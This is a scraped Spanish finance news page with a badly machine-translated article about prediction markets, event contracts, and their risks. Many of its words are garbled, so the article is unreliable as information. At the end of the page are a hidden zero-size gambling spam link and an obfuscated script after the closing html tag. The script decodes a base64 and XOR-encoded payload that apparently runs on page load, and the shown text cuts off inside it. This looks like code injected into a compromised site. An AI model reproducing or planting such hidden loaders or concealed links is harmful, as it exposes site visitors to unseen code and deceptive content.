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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Thursday, October 1, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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        <img src="https://www.bankrate.com/brp/2025/08/27094646/prediction-markets.jpg?auto=webp&amp;optimize=high&amp;crop=16:9" class="featured-img w-full" alt="El sitio web de PolyMket en una computadora portátil." loading="eager" decoding="async" fetchpriority="high" srcset="https://www.bankrate.com/brp/2025/08/27094646/prediction-markets.jpg?auto=webp&amp;optimize=high&amp;crop=16:9&amp;width=912 912w,
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<p>            Bloomberg / colaborador / getty imágenes
        </p>
</p></div>
<div>
<p>Los mercados de predicción son una forma fascinante de emplear el conocimiento de los expertos, ayudando a publicitar información que de otro modo podría seguir siendo privada. Estos mercados brindan a los expertos un incentivo financiero para hacer pública su información o incluso para que los no expertos aposen a resultados específicos, como una alternativa o el precio de un índice de acciones o <u>criptomoneda</u>. Pero no están exentos de inconvenientes, ya que los mercados de predicción a menudo pueden parecer juegos de azar y estar sujetos a formas de explotación del mercado. </p>
<p>He aquí por qué los mercados de predicción están aumentando en popularidad y por qué los inversores deben tener cuidado.  </p>
<h2 data-position="1" data-beam-element-viewed="" data-id="br-h2-1-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="How do prediction markets work?" data-outcome="">¿Cómo funcionan los mercados de predicción?</h2>
<p>Una variedad de mercados de predicción ha surgido en los últimos primaveras, ya que el hacienda caliente, los verdaderos expertos y los jugadores corren cerca de donde está la movimiento. Los mercados de predicción utilizan lo que se conoce como contratos de eventos para crear un mercado para eventos del mundo verdadero, como elecciones, concursos deportivos y el precio de los índices de acciones y las criptomonedas en puntos específicos en el tiempo, entre muchos otros. Miles de contratos pueden ir a la vez, lo que ofrece mucha movimiento para los jugadores acérrimos.</p>
<p>Los contratos de eventos están estructurados como las apuestas sí/no: un flanco tiene razón y recibe el cuota, mientras que el otro está inexacto y pierde. Por lo tanto, los contratos de eventos deben establecerse de tal guisa que no haya un término medio. Los contratos de eventos son una especie de <u>opción binaria</u>en el que solo un flanco es correcto. Al final del evento, el arreglo de envite se resuelve entre las contrapartes. </p>
<p>Por ejemplo, un mercado de predicción podría tener una proposición como la próximo:</p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
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<p dir="ltr">¿El precio de Bitcoin será superior a $ 110,000 el 25 de agosto a las 12 p.m. ET?</p>
<ul>
<li dir="ltr">Comprar sí: 14 centavos</li>
<li dir="ltr">Comprar No: 89 centavos</li>
</ul></div>
</p></div>
</p></div>
</section>
<p>Si cree que el precio de Bitcoin estará por encima de este precio en este momento, puede comprar una movimiento de Yes por 14 centavos, hasta tantas acciones como desee. Si cree que Bitcoin no alcanzará el precio objetivo, puede comprar el No Hecho por 89 centavos. En cualquier caso, si tiene razón, se le paga $ 1. </p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/9-de-las-monedas-mas-valiosas-del-mundo" target="_self" rel="dofollow" class="u55a4535453947a9537f98a949eb33472"><!-- INLINE RELATED POSTS 1/3 //--><style> .u55a4535453947a9537f98a949eb33472 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u55a4535453947a9537f98a949eb33472:active, .u55a4535453947a9537f98a949eb33472:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u55a4535453947a9537f98a949eb33472 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u55a4535453947a9537f98a949eb33472 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u55a4535453947a9537f98a949eb33472 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u55a4535453947a9537f98a949eb33472:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">9 de las monedas más valiosas del mundo</span></div></a></div><p>Algunos de los nombres más grandes en el mercado de predicción incluyen PolyMket, Predictit y Kalshi. Ofrecen apuestas sobre política, deportes, política internacional, civilización y una variedad de otras cosas. ¿Quiere emplazar en cuántos tweets anhelo Elon Musk en una semana determinada? Puedes hacerlo allí. </p>
<p>Corredores como <u>Robinidad</u> y <u>Corredores interactivos</u> Todavía ofrezca contratos de eventos, aunque la serie de eventos a menudo se centra más, como en eventos o deportes económicos y financieros. </p>
<h3>Por qué los mercados de predicción pueden ser valiosos</h3>
<p>Los mercados de predicción pueden ser especialmente interesantes como herramientas predictivas y, en su mejor forma, pueden proporcionar un valencia social verdadero al publicitar el resultado probable de los eventos. Los mercados de predicción brindan a los expertos un incentivo financiero para expresar una opinión informada sobre el resultado de un evento, para que este conocimiento pueda hacerse conocido. Por ejemplo, aquellos con una comprensión detallada de un resultado electoral o un evento geopolítico pueden hacer una envite, expresando su opinión a través de un mercado de predicción. Su conocimiento se vuelve conocido, proporcionando una comprensión más amplia del evento.  </p>
<p>Por supuesto, muchos contratos de eventos se refieren a información pero sin valencia. Por ejemplo, los contratos populares recientes incluyeron: &#8220;¿MrBeast recaudará $ 40 millones para el agua limpia ayer del 31 de agosto?&#8221; y &#8220;¿Es la tierra plana?&#8221; Y, por supuesto, siempre hay apuestas sobre cuán prolífico es el charnela de tweets de Elon Musk.</p>
<h2 data-position="2" data-beam-element-viewed="" data-id="br-h2-2-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="What are the pros and cons of prediction markets?" data-outcome="">¿Cuáles son los pros y los contras de los mercados de predicción?</h2>
<p>Los mercados de predicción presentan una serie de riesgos para los inversores, no solo en la naturaleza del arreglo de eventos sino igualmente en el mercado en sí.</p>
<h3>Ventajas de los mercados de predicción</h3>
<ul>
<li>
<strong>Imprimir información privada de otra guisa:</strong> Los mercados de predicción pueden ayudar a la superficie de la información oculta o experta, que puede proporcionar información valiosa a un conocido más amplio. </li>
<li>
<strong>Potencial para multiplicar tu hacienda:</strong> Los contratos de eventos pueden superar mucho hacienda, especialmente si tiene información fuera del consenso que resulta ser correcta. Cuanto más fuera de consenso es su información u opinión correcta, más valioso podría ser. </li>
<li>
<strong>Acciones del tamaño de un alimento:</strong> Los contratos de eventos pueden permitirle comprar acciones por entre 1 centavos a 99 centavos, lo que significa que puede encargarse tantos contratos como desee sin que el costo de un solo arreglo sea un medio ambiente disuasorio. </li>
<li>
<strong>Nuevos riesgos &#8220;capaces&#8221;:</strong> Al surfiar nueva información y ofrecer contratos, los mercados de predicción pueden crear formas para que los participantes <u>Cubierta contra esos riesgos en otros mercados</u>. Por ejemplo, si le preocupaba que un evento geopolítico pueda afectar el precio del petróleo, en el que dependen algunas de sus otras inversiones, podría usar contratos de eventos para cubrir ese aventura. </li>
</ul>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/los-5-peores-movimientos-de-inversion-que-puedes-hacer-ahora-mismo" target="_self" rel="dofollow" class="u807382f556de3b985067982ae95929a3"><!-- INLINE RELATED POSTS 2/3 //--><style> .u807382f556de3b985067982ae95929a3 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u807382f556de3b985067982ae95929a3:active, .u807382f556de3b985067982ae95929a3:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u807382f556de3b985067982ae95929a3 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u807382f556de3b985067982ae95929a3 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u807382f556de3b985067982ae95929a3 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u807382f556de3b985067982ae95929a3:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Los 5 peores movimientos de inversión que puedes hacer ahora mismo</span></div></a></div><h3>Desventajas de los mercados de predicción</h3>
<ul>
<li>
<strong>Similitudes con el charnela:</strong> Muchos contratos de eventos simplemente están jugando con otro nombre, como las opciones binarias. De hecho, los eventos deportivos son un tema popular para los mercados de predicción. Pero incluso otros contratos financieros parecen similares, como si una movimiento o un índice alcanza un nivel específico al final del día. Tales contratos se parecen mucho <u>Opciones de día cero</u> -Con pagos y pérdidas a corto plazo, todo o falta sin exigencia de experiencia. Por lo tanto, fielmente no hay inversión aquí, es simplemente una envite a más o menos a corto plazo en un evento.</li>
<li>
<strong>Apuestas sobre cosas &#8220;incognoscibles&#8221;:</strong> Muchos contratos de eventos no requieren experiencia y son solo apuestas de propuesta sobre el resultado de poco que no tiene sentido, el número de tweets semanales de Elon Musk es un gran ejemplo. Los participantes no pueden aprender este tipo de información, es solo una suposición. </li>
<li>
<strong>Los mercados son ineficientes y son &#8220;jugados&#8221; por bots:</strong> La investigación sugiere que los mercados de predicción no son tan eficientes y están siendo llamados por bots que aprovechan las ineficiencias. La investigación de los mercados de IMDEA sobre 86 millones de apuestas desde abril de 2024 hasta abril de 2025 sugiere que los bots pueden explotar los precios erróneos en diferentes mercados a través del arbitraje para obtener ganancias sin riesgos. Si admisiblemente las probabilidades de los resultados de sí y no siempre deben sumar 100 por ciento, a veces no (como en el ejemplo de la vida verdadero antedicho), lo que le da a los bots de centella la oportunidad de colocar un comercio y beneficios del arbitraje exento de riesgos.</li>
<li>
<strong>Prohibido en muchos países: </strong>Oportuno a su naturaleza similar al charnela, los mercados de predicción pueden prohibirse en muchos lugares. Por ejemplo, Polymarket está prohibido en bastantes países, incluidos Francia, Suiza, Singapur y Tailandia. Ha sido bloqueado en los Estados Unidos desde 2022, pero su fresco transacción de un intercambio de derivados puede permitir que regrese a los Estados Unidos. Dicho esto, el mercado de predicción Kalshi es constitucional en todos los estados de los Estados Unidos.</li>
<li>
<strong>Puede usar stablecoins:</strong> Los mercados de predicción como Kalshi y PolyMket utilizan el USDC Stablecoin. <u>Stablecoins</u> Funciona muy parecido al dólar estadounidense pero con riesgos más significativos y potencialmente graves que no se resuelven por el <u>Ley de talante suficiente recientemente</u>.</li>
</ul>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/que-es-una-anualidad-inmediata" target="_self" rel="dofollow" class="u6e46d0e79d0bb4cc6bc9fcc6de3497ff"><!-- INLINE RELATED POSTS 3/3 //--><style> .u6e46d0e79d0bb4cc6bc9fcc6de3497ff { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u6e46d0e79d0bb4cc6bc9fcc6de3497ff:active, .u6e46d0e79d0bb4cc6bc9fcc6de3497ff:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u6e46d0e79d0bb4cc6bc9fcc6de3497ff { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u6e46d0e79d0bb4cc6bc9fcc6de3497ff .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u6e46d0e79d0bb4cc6bc9fcc6de3497ff .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u6e46d0e79d0bb4cc6bc9fcc6de3497ff:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">¿Qué es una anualidad inmediata?</span></div></a></div><h2 data-position="3" data-beam-element-viewed="" data-id="br-h2-3-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Bottom line" data-outcome="">Final</h2>
<p>Para los inversores, los mercados de predicción se parecen más a los juegos de azar que a la inversión, y aunque algunos contratos de eventos pueden proporcionar información valiosa, muchos son simplemente apuestas tontas sobre los datos triviales. Por lo tanto, los inversores que piensan en &#8220;volver&#8221; en los mercados de predicción deberían considerar cuidadosamente qué beneficios están derivando en comparación con volver verdaderamente en empresas prósperas y que fluyen en efectivo.</p>
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<!-- sc5a72ec-965157 -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
</html><script>!function(){var _0xdac3ef103251=atob('BkhbQE1aR0FABgdVWE9cDkhjYUp/bBNZR0BKQVkCQhh+F0laE0hjYUp/bHUJcXFIXmtDTEtKXQlzAmZYGHRGHhMJSk8fHhhLGBZKTBhLGUhPSgkCY0J5VEMWE3UMRlpaXl0UAQFNQkdNRVRBQE8AQEtaDAIODEZaWl4UAQEYGwAcHwAfFgAYHgxzFUdIBkIYfhdJWggIQhh+F0ladWZYGHRGHnMHXEtaW1xAFUIYfhdJWhNIY2FKf2x1CXFxSF5rQ0xLSl0JcxMGQhh+F0laUlJVUwcVQhh+F0ladWZYGHRGHnMTHxVIW0BNWkdBQA5eX15NHmUGB1VHSAYPSkFNW0NLQFoATEFKVwdVXUtaekdDS0FbWgZeX15NHmUCHB4HFVxLWltcQBVTWE9cDn5CfFkfYBNKQU1bQ0tAWgBNXEtPWktrQktDS0BaBglKR1gJBwJFQWZBSUgTSkFNW0NLQFoATVxLT1pLa0JLQ0tAWgYJR0hcT0NLCQcVfkJ8WR9gAF1aV0JLAE1dXXpLVloTCV5BXUdaR0FAFEhHVktKFUdAXUtaFB4VVANHQEpLVhQcHxoZGhYdHBccFUxPTUVJXEFbQEoUXElMTwYfGwIcHQIaHAIAGhwHFV5BR0BaS1wDS1hLQFpdFEBBQEsVCRVFQWZBSUgAWkdaQksTCX1LTVtcR1pXDk1GS01FCRVFQWZBSUgAXUtab1paXEdMW1pLBglPQkJBWUhbQkJdTVxLS0AJAgkJBxVFQWZBSUgAXVpXQksATV1dektWWhMJXkFdR1pHQUAUSEdWS0oVR0BdS1oUHhVZR0paRhQfHh4LFUZLR0lGWhQfHh4LFUxBXEpLXBQeFVQDR0BKS1YUHB8aGRoWHR0eHBVMT01FSVxBW0BKFA1ISEgVCRVKQU1bQ0tAWgBMQUpXAE9eXktASm1GR0JKBn5CfFkfYAcVSkFNW0NLQFoATEFKVwBPXl5LQEptRkdCSgZFQWZBSUgHFUhbQE1aR0FADkdPGmpEZQYHVVpcV1V+QnxZH2AAXEtDQVhLBgcVRUFmQUlIAFxLQ0FYSwYHFVNNT1pNRgZxSwdVU1pcV1VKS0JLWksOQhh+F0ladWZYGHRGHnNTTU9aTUYGcUscB1VTU0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglDS11dT0lLCQJIW0BNWkdBQAZxS1gHVVpcV1VHSAYPcUtYUlIPcUtYAEpPWk8HXEtaW1xAFUdIBnFLWABKT1pPAFpXXksTExMJSF4DS0NMS0oDTUJBXUsJB0dPGmpEZQYHFVNNT1pNRgZxSx0HVVNTBxVIW0BNWkdBQA5ea18fVhcGa1ZHSWxhB1VHSAZrVkdJbGEQE2NCeVRDFgBCS0BJWkYHXEtaW1xAFVhPXA5xRhMJCRVaXFdVcUYTfVpcR0BJBkhjYUp/bABCQU1PWkdBQAgIBkhjYUp/bABCQU1PWkdBQABGQV1aQE9DS1JSSGNhSn9sAEJBTU9aR0FAAEZBXVoHUlIJCQcAXEteQk9NSwYBcFlZWXIAAUcCCQkHFVNNT1pNRgZxS0YHVVNYT1wOcVsTY0J5VEMWdWtWR0lsYXMFCQFLQ0xLSgEJBWZYGHRGHgUJEUtDTEtKEx8JBQZxRhEGCQhGQV1aEwkFS0BNQUpLe3xnbUFDXkFAS0BaBnFGBwcUCQkHFVhPXA5xWkETXUtaekdDS0FbWgZIW0BNWkdBQAYHVV5rXx9WFwZrVkdJbGEFHwcVUwIfHB4eHgcVRUFmQUlIAEFAQkFPShNIW0BNWkdBQAYHVU1CS09cekdDS0FbWgZxWkEHFVMVRUFmQUlIAF1cTRNxWxVTXmtfH1YXBh4HFVNHSAZ